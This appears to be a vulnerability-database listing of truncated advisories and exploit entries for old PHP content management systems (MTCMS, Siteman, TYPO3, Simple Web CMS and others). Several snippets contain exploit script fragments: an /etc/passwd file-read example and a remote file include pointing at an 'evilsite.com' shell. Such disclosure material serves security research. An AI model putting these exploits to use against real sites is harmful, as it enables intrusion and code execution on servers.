Magic CMS 4.2.747 - 'mysave.php' Remote File Inclusion

'/ -.- ---------------------oOO------OOo--------------------- | Magic CMS v4.2.747 mysave.php Remote File Inclusion | | works only with registerglobals = on | | coded by DNX | --------------------------------------------------------- ! Discovered: DNX ! Vendor: www.geo-soft.net/de-ch/ ! Detected:...

webspell40-multi.txt

WebSpell Authentication Bypass and arbitrary code execution Vendor : WebSpell URL : http://www.webspell.org/ Version : All Risk : SQL Injection, unchecked file upload Description: webSPELL is a free Content Management System CMS for clans and gaming communities, providing all needed features like...

WebSpell > 4.0 Authentication Bypass and arbitrary code execution

WebSpell Authentication Bypass and arbitrary code execution Vendor : WebSpell URL : http://www.webspell.org/ Version : All Risk : SQL Injection, unchecked file upload Description: webSPELL is a free Content Management System CMS for clans and gaming communities, providing all needed features like...

siteman1111-disclose.txt

-=--------------------ADVISORY-------------------=- Siteman 1.1.11 Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: Siteman -=+ Version: 1.1.11 -=+ Vendor's URL: http://home.no.net/siteman/ -=+ Platform: Windows\Linux\Unix -=+ Bug type: Remote...

siteman-pass.txt

-=--------------------ADVISORY-------------------=- Siteman 2.0.x2 Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: Siteman 2.0.x2 -=+ Version: 2.0.x2 -=+ Vendor's URL: http://home.no.net/siteman/ -=+ Platform: Windows\Linux\Unix -=+ Bug type:...

[x0n3-h4ck] Siteman 2.0.x2 Remote Md5 Hash Disclosure Vulnerability

-=--------------------ADVISORY-------------------=- Siteman 2.0.x2 Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: Siteman 2.0.x2 -=+ Version: 2.0.x2 -=+ Vendor's URL: http://home.no.net/siteman/ -=+ Platform: WindowsLinuxUnix -=+ Bug type:...

Website Baker REMEMBER_KEY Cookie SQL Injection

The remote host is running Website Baker, a PHP-based content management system. The installed version of Website Baker fails to validate input to the 'REMEMBERKEY' cookie before using it in 'framework/class.login.php' to construct SQL queries. Provided PHP's 'magicquotesgpc' setting is disabled,...

Deep CMS Index.PHP远程文件包含漏洞

Deep CMS是一款基于PHP的内容管理程序。 Deep CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'index.php'脚本对用户提交的'ConfigDir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Deep CMS Deep CMS 2.0a 目前没有详细解决方案提供，请关注以下链接： http://wapcms.ru/ !/usr/bin/env python coding: utf-8 from pocsuite.net import req from...

Sql injection

SQL injection vulnerability in page.php in Simple Web Content Management System allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2007-0093: Undefined Security Weakness

SQL injection vulnerability in page.php in Simple Web Content Management System allows remote attackers to execute arbitrary SQL commands via the id parameter...

swcms.php.txt

!/usr/bin/php Options.......: Example.......: php xpl.txt http://hihi.org/ /etc/passwd --------------------------------------------------------\n"; exit1; $url =$argv1;$file =$argv2; $proxh=$argv3;$proxa=$argv4; $xpl = new phpsploit; $xpl-agent"Mozilla"; if$proxh $xpl-proxy$proxh; if$proxa...

Simple Web Content Management System - SQL Injection

Simple Web Content Management System - SQL Injection !/usr/bin/php Options.......: Example.......: php xpl.txt http://hihi.org/ /etc/passwd --------------------------------------------------------\n"; exit1; $url =$argv1;$file =$argv2; $proxh=$argv3;$proxa=$argv4; $xpl = new phpsploit;...

Simple Web Content Management System - SQL Injection

!/usr/bin/php Options.......: Example.......: php xpl.txt http://hihi.org/ /etc/passwd --------------------------------------------------------\n"; exit1; $url =$argv1;$file =$argv2; $proxh=$argv3;$proxa=$argv4; $xpl = new phpsploit; $xpl-agent"Mozilla"; if$proxh $xpl-proxy$proxh; if$proxa...

MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit

No description provided by source. !/usr/bin/perl +------------------------------------------------------------------------------------------- + MTCMS = 2.0 admin/adminsettings.php Remote File Include Exploit...

MTCMS 2.0 - adminadmin_settings.php Remote File Inclusion

MTCMS 2.0 - adminadminsettings.php Remote File Inclusion !/usr/bin/perl +------------------------------------------------------------------------------------------- + MTCMS + Requirements.......: registerglobals = on...

MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit

Exploit for unknown platform in category web applications =================================================================== MTCMS \n"; print "-h, --host\ttarget host\texample.com\n"; print "-f, --file\tremote file\thttp://evilsite.com/shell.php\n"; print "-d, --dir\tinstall dir\t/mtcms\n"; exit...

MTCMS 2.0 - '/admin/admin_settings.php' Remote File Inclusion

!/usr/bin/perl +------------------------------------------------------------------------------------------- + MTCMS + Requirements.......: registerglobals = on +------------------------------------------------------------------------------------------- use Getopt::Long; use URI::Escape; use...

TYPO3 'spell-check-logic.php' 'userUid' Parameter Arbitrary Command Execution

The remote host is running TYPO3, an open source content management system written in PHP. The version of TYPO3 installed on the remote host fails to sanitize user-supplied input to the 'userUid' parameter before using it in the 'spell-check-logic.php' script to execute a command. An...

[Full-disclosure] SEC Consult SA-20061220-0 :: Typo3 Command Execution Vulnerability

SEC-CONSULT Security Advisory 20061220-0 ======================================================================= title: Remote Command Execution in Typo3 program: Typo3 Content Management System vulnerable version: 4.0.0 - 4.0.3 3.7 and 3.8 with rtehtmlarea extension 4.1beta impact: critical...

Azucar CMS 1.3 - adminindex_sitios.php File Inclusion

Azucar CMS 1.3 - adminindexsitios.php File Inclusion +------------------------------------------------------------------------------------------- + Azucar CMS +------------------------------------------------------------------------------------------- + Details: + Azucar CMS admin/indexsitios.php...